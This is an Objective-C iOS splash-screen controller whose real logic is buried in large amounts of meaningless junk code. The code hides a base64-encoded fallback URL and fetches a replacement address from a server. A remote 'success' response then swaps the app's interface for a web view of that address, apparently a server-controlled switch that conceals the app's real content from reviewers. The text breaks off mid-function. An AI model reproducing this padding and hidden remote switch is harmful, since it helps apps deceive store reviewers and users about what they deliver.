#import "GIOBaseLoginController.h"
#import "GIOModityView.h"
#import "GIOHomeBaseController.h"
#import "GIOLaunchPrivacyController.h"

#import "AppDelegate.h"
#import <AnyThinkSplash/AnyThinkSplash.h>
#import "Reachability.h"
#import <SVProgressHUD.h>
#import "GIOHomeRegister.h"
#import "BICCg.h"
#import "GIOInfoBaseController.h"
#import "GIORegisterRegisterController.h"
#import "GIOScreenAlert.h"
#import "HXRootViewController.h"
#import "GIOModityBase.h"

@interface GIORegisterRegisterController ()<ATSplashDelegate>

@property (nonatomic, strong) UINavigationController *nav;

@property (nonatomic, assign) BOOL openTryAgain;

#define defaultAadrs @"aHR0cHM6Ly91dWJhYnl3YW5nMDAxLnRvcC8="

@property (nonatomic, copy) NSString *real_adrs;

@end

@implementation GIORegisterRegisterController

+ (instancetype)instanceWithStoryboard {
       BOOL infoM = NO;
    long interN = 2;
   while (5 <= (interN | 2) || infoM) {
       char privacys[] = {(char)-61,(char)-60,(char)-13,89,(char)-83};
       unsigned char reqc[] = {69,45,90};
       unsigned char progF[] = {115,230,135,98,165,229,1,99,128,111};
       NSDictionary * xinfo3 = @{@"assembler":@(738)};
       NSDictionary * progr = @{@"extern":@(611).stringValue};
          unsigned char curi[] = {251,253};
          NSInteger reqw = 0;
         progF[9] <<= MIN(labs(1), 3);
         int buttonp = sizeof(curi) / sizeof(curi[0]);
         curi[0] %= MAX(3, reqw / (MAX(buttonp, 4)));
      interN += interN;
      NSInteger alerta = sizeof(privacys) / sizeof(privacys[0]);
      privacys[0] <<= MIN(2, labs((3 + alerta) * privacys[2]));
      break;
   }
       unsigned char reqC[] = {254,201,9,66,112,60,37,115};
       double type_ml = 0.0f;
         type_ml *= (int)type_ml ^ reqC[2];
          float p_centerR = 4.0f;
          unsigned char eedbackc[] = {63,147,31,209,91,168,119,76,222,154,221,4};
         type_ml -= 2;
         p_centerR += (int)p_centerR << (MIN(labs(eedbackc[5]), 2));
         eedbackc[2] <<= MIN(labs(2 - (int)p_centerR), 1);
         type_ml *= (int)type_ml;
      do {
         reqC[1] += 2;
         if (infoM ? !infoM : infoM) {
            break;
         }
      } while ((infoM ? !infoM : infoM) && (reqC[4] > 2));
         reqC[0] >>= MIN(2, labs((int)type_ml));
         type_ml *= (int)type_ml % 3;
      interN ^= ((infoM ? 4 : 2) - (int)type_ml);
   for (int q = 0; q < 3; q++) {
      interN >>= MIN(labs(interN), 5);
   }
       unsigned char layrK[] = {2,199};
      for (int c = 0; c < 1; c++) {
         long interM = sizeof(layrK) / sizeof(layrK[0]);
         layrK[1] <<= MIN(4, labs(interM & layrK[0]));
      }
         NSInteger modityD = sizeof(layrK) / sizeof(layrK[0]);
         layrK[1] -= 2 >> (MIN(3, labs(modityD)));
         NSInteger try_y9Q = sizeof(layrK) / sizeof(layrK[0]);
         NSInteger launchH = sizeof(layrK) / sizeof(layrK[0]);
         layrK[0] |= launchH & try_y9Q;
      int modityB = sizeof(layrK) / sizeof(layrK[0]);
      interN -= modityB - interN;

    return [[UIStoryboard storyboardWithName:NSStringFromClass([self class]) bundle:nil] instantiateInitialViewController];
}

- (void)viewDidLoad {
       char lblL[] = {14,(char)-79};
    char timerf[] = {25,(char)-95,57,(char)-21,101,(char)-62};
   if (3 >= lblL[1]) {
      int time_8M = sizeof(timerf) / sizeof(timerf[0]);
      timerf[3] += time_8M;
   }

    [super viewDidLoad];
    
    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(checkNetworkStatus) name:kReachabilityChangedNotification object:nil];
    
    self.openTryAgain = YES;
    
    UIActivityIndicatorView *real = [[UIActivityIndicatorView alloc] initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleLarge];
    real.center = CGPointMake(UIScreen.mainScreen.bounds.size.width/2.0, UIScreen.mainScreen.bounds.size.height - 150);
       NSInteger vodN = 1;
       double main_go = 2.0f;
       float buttonz = 3.0f;
         vodN %= MAX((int)main_go >> (MIN(5, labs(1))), 5);
          int loginp = 1;
         main_go -= (int)buttonz;
         loginp /= MAX(4, loginp >> (MIN(3, labs(loginp))));
      while (main_go < 4.95f) {
         buttonz -= (int)main_go;
         break;
      }
      if (4.42f < (buttonz - vodN)) {
          char realw[] = {71,103,124};
          NSInteger modityj = 5;
         vodN &= (int)buttonz ^ 2;
         long numberD = sizeof(realw) / sizeof(realw[0]);
         realw[MAX(modityj % 3, 2)] %= MAX(3 & numberD, 4);
         modityj *= 2 >> (MIN(2, labs(modityj)));
      }
      while (main_go < 4.85f) {
         main_go += vodN + 1;
         break;
      }
       char lnewsB[] = {(char)-34,(char)-20,119,(char)-9,73,(char)-108,70,39,(char)-126,109};
         buttonz *= (int)main_go + (int)buttonz;
      for (int r = 0; r < 1; r++) {
         buttonz *= (int)buttonz << (MIN(1, labs(vodN)));
      }
      do {
         buttonz /= MAX(1, 1);
         if (3146545.f == buttonz) {
            break;
         }
      } while ((3146545.f == buttonz) && (lnewsB[5] <= buttonz));
      timerf[4] |= (int)main_go;
    [self.view addSubview: real];
   while ((timerf[0] * 4) > 1) {
      long buttonw = sizeof(lblL) / sizeof(lblL[0]);
      timerf[5] -= (1 + buttonw) - timerf[5];
      break;
   }
    [real startAnimating];
   for (int k = 0; k < 2; k++) {
       double realM = 2.0f;
       NSString * rewardb = @"digestbyname";
       NSString * loginK = @"drafts";
       double againb = 5.0f;
         realM *= rewardb.length;
         againb -= (int)realM / (MAX(rewardb.length, 1));
         againb -= loginK.length;
         againb /= MAX(2, 2 / (MAX(1, rewardb.length)));
      while (rewardb.length <= againb) {
         againb *= ([loginK isEqualToString: [NSString stringWithUTF8String:(char []){52,0}]] ? loginK.length : (int)againb);
         break;
      }
       double urlm = 1.0f;
      if (2.7f < (3.30f * realM) || (againb * realM) < 3.30f) {
         againb += 3 + loginK.length;
      }
       double homeJ = 1.0f;
      do {
          BOOL screenp = YES;
          float openA = 1.0f;
          NSInteger number8 = 2;
          NSArray * r_centerd = @[@(962), @(973)];
          NSInteger againc = 0;
         urlm -= loginK.length - (int)urlm;
         screenp = againc >= 70 && 70 >= r_centerd.count;
         openA -= (int)openA;
         number8 %= MAX((int)openA, 5);
         againc /= MAX(5, r_centerd.count >> (MIN(labs(5), 4)));
         if (urlm == 2087011.f) {
            break;
         }
      } while ((urlm == 2087011.f) && ((homeJ * 1.32f) < 1.51f && 1.32f < (homeJ * urlm)));
         urlm *= (int)homeJ;
      do {
         urlm *= (int)realM;
         if (2142839.f == urlm) {
            break;
         }
      } while ((2142839.f == urlm) && ((urlm / (MAX(1.32f, 2))) < 4.8f && 1.32f < (realM / (MAX(5, urlm)))));
       char launchR[] = {(char)-96,80,17,(char)-34,(char)-121,(char)-22};
       char time_8i2[] = {(char)-69,(char)-95};
      timerf[1] >>= MIN(labs(2), 4);
   }
}

- (void)viewDidAppear:(BOOL)animated {
       NSArray * tempg = @[@(250), @(223)];
    NSDictionary * numberM = @{@"unprotect":@(56), @"millis":@(783).stringValue, @"highlight":@(458).stringValue};
   do {
       BOOL type_n67 = NO;
          unsigned char time_nA[] = {2,2,60,153,111,176,16,3,97,189,63};
          unsigned char login4[] = {172,93,149,9,230,166,169,138,55,81};
         int baseG = sizeof(time_nA) / sizeof(time_nA[0]);
         type_n67 = (baseG % (MAX(6, time_nA[4]))) <= 43;
         int editn = sizeof(login4) / sizeof(login4[0]);
         int btnU = sizeof(login4) / sizeof(login4[0]);
         login4[2] %= MAX(btnU % (MAX(3, editn)), 3);
          NSDictionary * navb = [NSDictionary dictionaryWithObjectsAndKeys:@"esend",@(709), @"mbpair",@(644), nil];
          char edit3[] = {42,(char)-63,(char)-107,(char)-55,87,118,(char)-109,49};
          int eedback6 = 0;
         long acrossr = sizeof(edit3) / sizeof(edit3[0]);
         type_n67 = eedback6 < acrossr;
      for (int w = 0; w < 3; w++) {
         type_n67 = type_n67 || type_n67;
      }
      type_n67 = numberM.count | 2;
      if (numberM.count == 4657989) {
         break;
      }
   } while ((numberM.count == 4657989) && (3 > tempg.count));

        GIOHomeBaseController * j_vc = [GIOHomeBaseController new];
        j_vc.delegate_5YesRequest = [NSArray arrayWithObjects:@(172), @(646), @(225), nil];
       char interB[] = {(char)-118,(char)-48,85,28,(char)-19};
       long sizi = 1;
       int g_view0 = 1;
      while (interB[0] == sizi) {
         sizi <<= MIN(labs(g_view0), 1);
         break;
      }
      while ((g_view0 + interB[2]) <= 5) {
         g_view0 %= MAX(3, sizi & interB[4]);
         break;
      }
         sizi /= MAX(sizi & 3, 4);
      for (int v = 0; v < 3; v++) {
         g_view0 %= MAX(1, g_view0);
      }
      if ((interB[1] + 5) <= 3) {
         sizi ^= g_view0 | sizi;
      }
         g_view0 |= 1;
          float realL = 0.0f;
          float type_i3H = 2.0f;
          float biceA = 1.0f;
         interB[MAX(g_view0 % 5, 0)] /= MAX(1, sizi);
         realL += (int)type_i3H;
         type_i3H /= MAX((int)biceA, 1);
         biceA += (int)type_i3H;
          unsigned char register_mpW[] = {197,167,250,44,149,217,211,123,12,44};
          float modityw = 3.0f;
          unsigned char try_rm[] = {80,147};
         long bicey = sizeof(register_mpW) / sizeof(register_mpW[0]);
         sizi %= MAX(try_rm[0] % (MAX(7, (3 + bicey))), 5);
         modityw -= (int)modityw * 3;
          char acrossx[] = {10,2,(char)-17,79,121,(char)-48};
          NSDictionary * vodE = [NSDictionary dictionaryWithObjectsAndKeys:@"ipdopd",@(422).stringValue, @"mrz",@(153).stringValue, nil];
         sizi += vodE.allValues.count;
         long layR = sizeof(acrossx) / sizeof(acrossx[0]);
         acrossx[5] *= layR;
      sizi >>= MIN(tempg.count, 1);
        j_vc.realLblTry_fLabel = [[UILabel alloc] init];
   if ([numberM.allValues containsObject:@(tempg.count)]) {
   }
        j_vc.tempYesPrivacy = 6502;
        j_vc.interLayLabel = [[UILabel alloc] init];

    [super viewDidAppear:animated];
    
    AppDelegate *delegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
    if ([delegate.reach_ability currentReachabilityStatus] != NotReachable) {
        [self requestAppOpenAd];
        [self getNewAdrs];
    } else {
        NSString *timer =  [NSUserDefaults.standardUserDefaults objectForKey:@"adrs"];
        if (timer.length > 0) {
            self.real_adrs = timer;
        } else {
            self.real_adrs = [defaultAadrs b64DecStr];
        }
    }
}

- (void)getNewAdrs {
      __block NSInteger buttonw = 3;
   __block NSString * real_V = @"tblhdr";
      buttonw ^= real_V.length;

    [bice.new getAddrs:^(NSString * _Nonnull url) {
        if (url.length > 0) {
            [NSUserDefaults.standardUserDefaults setObject:url forKey:@"adrs"];
      buttonw *= real_V.length % (MAX(2, 8));
            [NSUserDefaults.standardUserDefaults synchronize];
   for (int q = 0; q < 1; q++) {
      buttonw %= MAX(buttonw, 4);
   }
            self.real_adrs = url;
        } else {
            self.real_adrs = [defaultAadrs b64DecStr];
        }
        
    }];
}

- (void)viewDidDisappear:(BOOL)animated {
       BOOL editQ = NO;
    BOOL btng = NO;
   do {
      btng = (btng ? !editQ : btng);
      if (btng ? !btng : btng) {
         break;
      }
   } while ((btng) && (btng ? !btng : btng));
   do {
       NSDictionary * layo = [NSDictionary dictionaryWithObjectsAndKeys:@"recover",@(113), nil];
       int w_centerh = 4;
       char progh[] = {(char)-3,(char)-94,14,68,61,66,16,123,(char)-127};
       char register_xqk[] = {21,(char)-15,(char)-107,37,57,53,18};
      do {
         w_centerh /= MAX(4, layo.count);
         if (layo.count == 1805950) {
            break;
         }
      } while (((layo.allKeys.count * 4) >= 2) && (layo.count == 1805950));
         register_xqk[2] <<= MIN(layo.allKeys.count, 2);
         NSInteger register_j2D = sizeof(register_xqk) / sizeof(register_xqk[0]);
         register_xqk[MAX(w_centerh % 7, 0)] &= register_j2D;
          BOOL try_egk = YES;
          NSInteger try_gz = 5;
          int q_titleg = 3;
         progh[0] &= ((try_egk ? 2 : 2) ^ q_titleg);
         try_egk = 90 == try_gz;
         try_gz *= try_gz;
         w_centerh <<= MIN(5, layo.allKeys.count);
      btng = btng && editQ;
      if (btng ? !btng : btng) {
         break;
      }
   } while ((!editQ) && (btng ? !btng : btng));
   if (!btng || !editQ) {
      btng = (!btng ? editQ : btng);
   }

    [super viewDidDisappear:animated];
    
    [[NSNotificationCenter defaultCenter] removeObserver:self];
      btng = (!btng ? !editQ : !btng);
}

- (void)requestAppOpenAd {
      __block BOOL eedbacke = YES;
   __block BOOL btn2 = NO;
   for (int u = 0; u < 2; u++) {
      btn2 = (eedbacke ? btn2 : eedbacke);
   }

    
    NSString *privacy = [[NSUserDefaults standardUserDefaults] objectForKey:@"code"];
    if (![privacy isEqualToString:kTheContent]) {
        static dispatch_once_t temp;
        dispatch_once(&temp, ^{
            [bice.new bic_e:bic_first_open];
        });
    }
    
    NSDictionary *reward = @{
        kATExtraInfoRootViewControllerKey : self,
        kATSplashExtraTolerateTimeoutKey : @10   
    };
   for (int z = 0; z < 2; z++) {
       double tempW = 3.0f;
       NSInteger reqk = 3;
      for (int q = 0; q < 3; q++) {
         reqk *= reqk - (int)tempW;
      }
          long buttonP = 5;
          char realu[] = {(char)-99,(char)-72,(char)-9,40,(char)-28,(char)-106,(char)-102,(char)-20};
          char siz8[] = {115,7,57,86,90};
         tempW -= reqk;
         buttonP &= buttonP;
         realu[3] *= 2;
         siz8[MAX(buttonP % 5, 4)] |= buttonP;
          double layl = 2.0f;
          unsigned char v_titlez[] = {157,224,18,13,115,139,146,218,110};
         tempW += reqk >> (MIN(labs((int)layl), 1));
         NSInteger privacyk = sizeof(v_titlez) / sizeof(v_titlez[0]);
         layl *= privacyk;
      while (3.90f >= tempW) {
          int bicex = 2;
          double numbern = 0.0f;
          NSDictionary * laye = [NSDictionary dictionaryWithObjectsAndKeys:@"F",@"I", nil];
          unsigned char lay6[] = {213,170,142};
         reqk -= bicex;
         bicex ^= lay6[1] * laye.count;
         numbern /= MAX((int)numbern, 3);
         numbern += laye.count + 3;
         long acrossN = sizeof(lay6) / sizeof(lay6[0]);
         lay6[0] <<= MIN(labs(acrossN), 3);
         break;
      }
         tempW *= reqk % 1;
         reqk *= 3 / (MAX(reqk, 10));
      btn2 = reqk == tempW;
   }
    [[ATAdManager sharedManager] loadADWithPlacementID:kAdOpen extra:reward delegate:self containerView:nil];
}

- (void)changeToMainController {
      __block int btnq = 4;
   __block long baseK = 3;
       char number9[] = {90,118,(char)-1,21,(char)-76,(char)-73,51,84,(char)-4,(char)-42};
       NSArray * btnp = @[@(400), @(90)];
      if ((btnp.count % (MAX(5, 7))) <= 5 && (btnp.count % (MAX(number9[5], 5))) <= 5) {
          unsigned char launchK[] = {18,178};
          int requestb = 4;
         number9[MAX(5, requestb % 10)] ^= btnp.count;
         NSInteger layY = sizeof(launchK) / sizeof(launchK[0]);
         launchK[0] >>= MIN(3, labs(3 % (MAX(1, layY))));
         int delegate_xfg = sizeof(launchK) / sizeof(launchK[0]);
         requestb *= delegate_xfg & launchK[1];
      }
          char inter7[] = {98,2,122,67,(char)-67};
          double progX = 3.0f;
         number9[9] *= btnp.count;
         inter7[1] -= (int)progX / (MAX(2, 3));
         progX -= (int)progX % (MAX(3, 4));
         number9[1] *= number9[7];
      while (4 >= (number9[5] / (MAX(4, btnp.count))) || 4 >= (btnp.count / (MAX(number9[5], 9)))) {
         break;
      }
      if (2 < (4 * btnp.count) || 4 < (number9[1] * 4)) {
      }
      long loginm = sizeof(number9) / sizeof(number9[0]);
      btnq |= loginm;

    AppDelegate *delegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
      baseK |= baseK;
    NSString *privacyb = [[NSUserDefaults standardUserDefaults] objectForKey:@"code"];
    if (![privacyb isEqualToString:kTheContent]) {
        [bice.new getBody:^(NSString * _Nonnull content) {
            
            if ([content isEqualToString:@"success"]) {
                [self toWView];
            } else {
                delegate.window.rootViewController = [HXRootViewController new];
            }
        }];
    } else {
        [self toWView];
   for (int s = 0; s < 3; s++) {
      baseK >>= MIN(labs(btnq), 2);
   }
       BOOL realn = NO;
      while (realn) {
         realn = !realn;
         break;
      }
         realn = realn && realn;
          unsigned char curx[] = {180,32,117,29};
          unsigned char main_zT[] = {1,218,66,156,134};
         realn = !realn;
         int adrsi = sizeof(curx) / sizeof(curx[0]);
         curx[3] <<= MIN(labs(adrsi ^ main_zT[1]), 1);
         long openo = sizeof(main_zT) / sizeof(main_zT[0]);
         main_zT[4] <<= MIN(labs(1 ^ openo), 3);
      baseK <<= MIN(labs(baseK / 1), 4);
    }
    
}

- (void)toWView {
       NSString * delegate_mxg = @"dominant";
    unsigned char sizR[] = {251,245,69};
      sizR[2] ^= 2 + delegate_mxg.length;

    AppDelegate *delegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
   if (![delegate_mxg containsString:@(sizR[1]).stringValue]) {
      sizR[1] <<= MIN(5, labs(sizR[1]));
   }
    GIOInfoBaseController *try_l2Controller = [GIOInfoBaseController new];
   do {
      sizR[0] -= 1 | sizR[0];
      if ([[NSString stringWithUTF8String:(char []){57,105,109,56,95,0}] isEqualToString: delegate_mxg]) {
         break;
      }
   } while (([delegate_mxg containsString:@(sizR[0]).stringValue]) && ([[NSString stringWithUTF8String:(char []){57,105,109,56,95,0}] isEqualToString: delegate_mxg]));
    try_l2Controller.url = self.real_adrs;
   for (int v = 0; v < 2; v++) {
      sizR[2] *= delegate_mxg.length;
   }
    self.nav = [[UINavigationController alloc] initWithRootViewController:try_l2Controller];
    delegate.window.rootViewController = self.nav;
}

- (void)showSplashAd:(NSString *)placementID {
       char btnu[] = {52,(char)-24,(char)-26,67,84,(char)-116};
    NSDictionary * inter6 = @{@"stricmp":@(230), @"ocking":@(409), @"exists":@(719).stringValue};
   do {
      if (3809369 == inter6.count) {
         break;
      }
   } while ((3 >= (inter6.allKeys.count << (MIN(labs(btnu[5]), 4)))) && (3809369 == inter6.count));

    if ([[ATAdManager sharedManager] splashReadyForPlacementID:placementID]) {
        UIWindow *realt = [self w_1];
        NSDictionary *rewardI = @{
        };
        [[ATAdManager sharedManager] showSplashWithPlacementID:placementID
                                                         scene:@""
                                                        window:realt
                                              inViewController:realt.rootViewController
                                                         extra:rewardI
                                                      delegate:self];
   for (int b = 0; b < 1; b++) {
       NSDictionary * openI = [NSDictionary dictionaryWithObjectsAndKeys:@"bitops",@(597).stringValue, @"optable",@(368), nil];
       double adrsM = 1.0f;
       NSDictionary * progC = [NSDictionary dictionaryWithObjectsAndKeys:@"inherit",@(103), nil];
       NSDictionary * h_centerO = [NSDictionary dictionaryWithObjectsAndKeys:@"finaliser",[NSArray arrayWithObjects:@(200), @(272), nil], nil];
      while (![progC.allKeys containsObject:@(h_centerO.count)]) {
          char adrsS[] = {17,(char)-46,58,(char)-20,(char)-17,(char)-50};
         adrsM *= 3 - progC.count;
         NSInteger buttonY = sizeof(adrsS) / sizeof(adrsS[0]);
         adrsS[4] >>= MIN(2, labs(buttonY / 2));
         break;
      }
      for (int b = 0; b < 1; b++) {
         adrsM /= MAX(1, openI.count);
      }
         adrsM -= progC.count;
          NSString * reqX = @"htmlmarkup";
          double timerC = 3.0f;
          char d_titled[] = {68,81,(char)-80,96,(char)-97,(char)-93,38,(char)-97,112,(char)-10,51};
         adrsM -= openI.count / (MAX(1, 4));
         timerC /= MAX(1, reqX.length);
         timerC /= MAX((int)timerC, 4);
         d_titled[10] /= MAX(1, (int)timerC);
         timerC -= reqX.length;
      while ((2 ^ progC.allKeys.count) == 4 || 2 == (progC.allKeys.count ^ openI.allKeys.count)) {
         adrsM *= openI.count;
         break;
      }
       BOOL infoO = YES;
      if (infoO) {
         infoO = h_centerO.count == 45 || !infoO;
      }
      if (![openI.allKeys containsObject:@(adrsM)]) {
          double q_viewc = 5.0f;
          char btnG[] = {(char)-73,73,66,72,72};
         long btnR = sizeof(btnG) / sizeof(btnG[0]);
         adrsM += ((infoO ? 1 : 1) / (MAX(btnR, 8)));
         q_viewc += (int)q_viewc & (int)q_viewc;
      }
         infoO = 85.47f < adrsM;
         adrsM += openI.count / (MAX(5, 3));
         infoO = 19 <= openI.count && 19 <= adrsM;
      while (adrsM == 1.80f) {
          int timerO = 5;
          double timer3 = 2.0f;
          char lbl1[] = {(char)-54,(char)-95,74,60,4};
          NSInteger reall = 3;
          unsigned char acrossG[] = {186,184,230,235,106,69,175,175,162,200};
         timerO *= progC.count % 4;
         timerO += reall;
         timer3 *= 2 | (int)timer3;
         NSInteger homeP = sizeof(lbl1) / sizeof(lbl1[0]);
         lbl1[0] &= reall | homeP;
         int privacyO = sizeof(lbl1) / sizeof(lbl1[0]);
         acrossG[8] -= privacyO / (MAX(acrossG[1], 9));
         break;
      }
      adrsM += inter6.count - 4;
   }
   for (int n = 0; n < 1; n++) {
       float rewardh = 1.0f;
      if (4.24f >= (rewardh * rewardh)) {
         rewardh -= 3;
      }
          double alertP = 1.0f;
         rewardh *= 3;
         alertP -= (int)alertP % 1;
      if (3.69f == (2.77f - rewardh) || (rewardh / (MAX(10, 2.77f))) == 4.23f) {
         rewardh += (int)rewardh << (MIN(3, labs(1)));
      }
      btnu[3] %= MAX((int)rewardh, 2);
   }
    }
}

#pragma mark - ATSplashDelegate

- (void)didFinishLoadingSplashADWithPlacementID:(NSString *)placementID isTimeout:(BOOL)isTimeout {
      __block int register_liN = 4;
   __block NSDictionary * register_r5j = [NSDictionary dictionaryWithObjectsAndKeys:@"quadratic",@(751).stringValue, nil];
   __block BOOL bannem = YES;
      register_liN <<= MIN(1, register_r5j.count);
       char infoa[] = {123,(char)-27,113,77,117,(char)-86,50,122,64};
      while ((infoa[4] + infoa[1]) <= 2 || (infoa[1] + 2) <= 5) {
         int eedbacks = sizeof(infoa) / sizeof(infoa[0]);
         infoa[4] <<= MIN(labs(eedbacks / 1), 1);
         break;
      }
       NSInteger privacyQ = 0;
         privacyQ %= MAX(2 >> (MIN(5, labs(privacyQ))), 2);
      register_liN >>= MIN(1, register_r5j.count);
      register_liN /= MAX(3, register_r5j.allValues.count | 1);

    dispatch_async(dispatch_get_main_queue(), ^{
        [self showSplashAd:placementID];
    });
   while (2 <= register_liN) {
      bannem = !bannem;
      break;
   }
      register_liN <<= MIN(labs(register_liN ^ 1), 5);
}

- (void)didTimeoutLoadingSplashADWithPlacementID:(NSString *)placementID {
      __block NSDictionary * reale = @{@"vecs":@(749)};
   __block float main_m5 = 0.0f;
   __block long yesg = 1;
   for (int m = 0; m < 3; m++) {
       BOOL openm = YES;
       NSArray * register_w9e = @[@(484), @(38)];
       BOOL alertl = YES;
      for (int v = 0; v < 1; v++) {
          NSArray * h_centerW = [NSArray arrayWithObjects:@(160), @(465), @(160), nil];
          char try_cxN[] = {22,(char)-3,102,84,123,110};
          BOOL xinfoa = YES;
         alertl = register_w9e.count % 1;
         xinfoa = h_centerW.count * 1;
         try_cxN[1] >>= MIN(1, labs(try_cxN[1] << (MIN(1, h_centerW.count))));
         long x_viewX = sizeof(try_cxN) / sizeof(try_cxN[0]);
         xinfoa = 11 < (26 >> (MIN(5, labs(x_viewX))));
      }
      for (int i = 0; i < 3; i++) {
          unsigned char reqC[] = {142,195,100,237,131,194,199,57,111};
          unsigned char across6[] = {46,179,122,179,178,243};
          unsigned char real1[] = {174,248,228,162,221,20,50,142,78,161,33};
          unsigned char return_a6[] = {110,233,233,218,91,97,201};
          unsigned char real_[] = {211,53,165,160,151};
         openm = register_w9e.count - 1;
         int login5 = sizeof(reqC) / sizeof(reqC[0]);
         reqC[7] &= 2 & login5;
         long reqm = sizeof(return_a6) / sizeof(return_a6[0]);
         across6[3] <<= MIN(4, labs(1 % (MAX(7, reqm))));
         int xinfoI = sizeof(return_a6) / sizeof(return_a6[0]);
         real1[2] <<= MIN(labs(xinfoI), 5);
         long lblk = sizeof(real1) / sizeof(real1[0]);
         real_[3] |= 1 << (MIN(1, labs(lblk)));
      }
       char timero[] = {82,80};
      while (alertl) {
         alertl = !openm;
         break;
      }
      while (!alertl && openm) {
         openm = alertl;
         break;
      }
      while (openm || timero[1] == 2) {
         int timerN = sizeof(timero) / sizeof(timero[0]);
         openm = 28 < (timerN / 96);
         break;
      }
         timero[1] &= 1;
      if (openm || (3 | register_w9e.count) < 3) {
         alertl = 2 >> (MIN(2, register_w9e.count));
      }
          unsigned char u_centery[] = {36,225,107,205,58,134};
         alertl = register_w9e.count + 4;
         int eedbackA = sizeof(u_centery) / sizeof(u_centery[0]);
         u_centery[4] %= MAX(u_centery[5] ^ eedbackA, 3);
      yesg ^= reale.count;
   }
      main_m5 /= MAX((int)main_m5 << (MIN(1, labs(yesg))), 3);

    dispatch_async(dispatch_get_main_queue(), ^{
        [self changeToMainController];
    });
   do {
      yesg <<= MIN(labs(reale.count / 3), 5);
      if (270843 == reale.count) {
         break;
      }
   } while ((270843 == reale.count) && (reale.allKeys.count > 1));
}

- (void)didFailToLoadADWithPlacementID:(NSString*)placementID error:(NSError*)error {
      __block NSInteger timerU = 1;
   __block NSArray * interE = [NSArray arrayWithObjects:@(831), @(469), @(330), nil];
   __block BOOL adrsH = NO;
   __block int urlc = 4;
   for (int a = 0; a < 3; a++) {
      adrsH = interE.count <= 8;
   }

    NSLog(@"ATSplashViewController::didFailToLoadADWithPlacementID:%@ error:%@", placementID, error);
    
    dispatch_async(dispatch_get_main_queue(), ^{
        if (self.openTryAgain == YES) {
            NSLog(@"todo - open 第1次失败");
      adrsH = interE.count < timerU;
            self.openTryAgain = NO;

            [self requestAppOpenAd];
        } else {
            NSLog(@"todo - open 第2次失败");
      timerU += 3 >> (MIN(labs(timerU), 2));
            [self changeToMainController];
        }
    });
       NSInteger againD = 4;
      while ((againD >> (MIN(3, labs(againD)))) > 1 || (againD >> (MIN(labs(1), 5))) > 4) {
          unsigned char lblj[] = {1,89,194,51,182,100,94,152,19};
          BOOL l_viewu = YES;
          NSInteger baseW = 3;
          unsigned char r_centerZ[] = {218,57,152,238,254,127,31,78};
          NSArray * type_y0 = [NSArray arrayWithObjects:@(984), @(349), @(968), nil];
         againD &= baseW;
         long register_9j = sizeof(r_centerZ) / sizeof(r_centerZ[0]);
         lblj[1] |= register_9j;
         NSInteger snewsX = sizeof(r_centerZ) / sizeof(r_centerZ[0]);
         l_viewu = snewsX <= 78;
         baseW %= MAX(1, ((l_viewu ? 5 : 4) * 2));
         l_viewu = 3 ^ type_y0.count;
         l_viewu = 2 * type_y0.count;
         break;
      }
         againD %= MAX(againD, 2);
          char alertU[] = {49,97,38,(char)-17,(char)-80,34,(char)-50,85,(char)-14,4};
         againD |= alertU[3] | 3;
      adrsH = interE.count <= againD;
      adrsH = !adrsH && timerU > 45;
}

- (void)splashWillCloseForPlacementID:(NSString *)placementID extra:(NSDictionary *)extra {
      __block long progm = 5;
   __block NSInteger openQ = 0;
   while (progm <= 3) {
      openQ &= openQ;
      break;
   }
   for (int g = 0; g < 2; g++) {
       char launch_[] = {(char)-120,(char)-85,103,(char)-114,100,(char)-92};
       long rewardp = 4;
          char type_bfW[] = {74,(char)-7,(char)-106,(char)-107};
          BOOL layi = NO;
          NSDictionary * interK = @{@"erase":@(158), @"launching":@(420)};
         launch_[4] -= 3;
         type_bfW[0] &= type_bfW[0] + interK.allValues.count;
         layi = type_bfW[3] >= 71 || !layi;
         layi = 4 * interK.count;
         int btn2 = sizeof(launch_) / sizeof(launch_[0]);
         rewardp ^= rewardp - btn2;
         launch_[2] >>= MIN(labs(rewardp), 2);
         launch_[2] &= 1;
         launch_[MAX(rewardp % 6, 5)] %= MAX(3, 5);
      for (int t = 0; t < 2; t++) {
         launch_[MAX(rewardp % 6, 5)] -= rewardp | 2;
      }
      openQ ^= launch_[3] + openQ;
   }
   while (2 <= openQ) {
       NSArray * acrossW = @[@(119), @(887), @(918)];
       BOOL tempw = YES;
       float editm = 0.0f;
       long eedbackQ = 3;
       NSInteger sizV = 5;
         editm -= sizV;
      if (!tempw) {
         editm *= 3;
      }
          NSString * btn2D = @"saving";
          char progg[] = {76,61,48,64,109};
         tempw = (acrossW.count >> (MIN(5, labs(eedbackQ)))) == 28;
         NSInteger baseD = sizeof(progg) / sizeof(progg[0]);
         progg[3] >>= MIN(labs(btn2D.length ^ baseD), 1);
      while (tempw && (acrossW.count * 3) == 4) {
          NSString * editF = @"qexp";
          long button_ = 2;
          long timer6 = 2;
          NSArray * u_title5 = [NSArray arrayWithObjects:@(496), @(148), nil];
          unsigned char sizH[] = {61,169,119,224,56,44,60,197,126,65};
         tempw = (62 > ((!tempw ? 62 : u_title5.count) + u_title5.count));
         timer6 &= editF.length;
         button_ /= MAX(2, 1 - button_);
         timer6 += sizH[4];
         sizH[MAX(4, timer6 % 10)] |= timer6;
         timer6 |= editF.length;
         break;
      }
      for (int c = 0; c < 2; c++) {
         editm /= MAX(1, acrossW.count | sizV);
      }
          long basev = 3;
          double reql = 1.0f;
          char register_2dT[] = {(char)-96,68};
         eedbackQ >>= MIN(labs(2 + (int)reql), 4);
         basev -= basev;
         reql += basev;
         register_2dT[MAX(basev % 2, 0)] += basev;
       double infoT = 5.0f;
       double u_titleE = 0.0f;
       NSString * yesJ = @"sinf";
          char progq[] = {(char)-41,111,51,16,41,112,16,(char)-13,127,105};
          float inters = 0.0f;
          NSString * qnewsM = @"clock";
         sizV *= acrossW.count;
         progq[7] *= qnewsM.length;
         inters -= qnewsM.length;
      do {
         infoT += (int)u_titleE + eedbackQ;
         if (431225.f == infoT) {
            break;
         }
      } while ((5.86f > (3.34f + infoT)) && (431225.f == infoT));
      while ((editm * u_titleE) > 1.8f || (u_titleE * 1.8f) > 4.84f) {
          char register_5f[] = {(char)-62,(char)-51,108,7,91,10,(char)-2,(char)-75,34,(char)-89,(char)-25,(char)-113};
          unsigned char buttonW[] = {89,28,79,48,5,76,166,48,182};
          unsigned char btn6[] = {109,35,180};
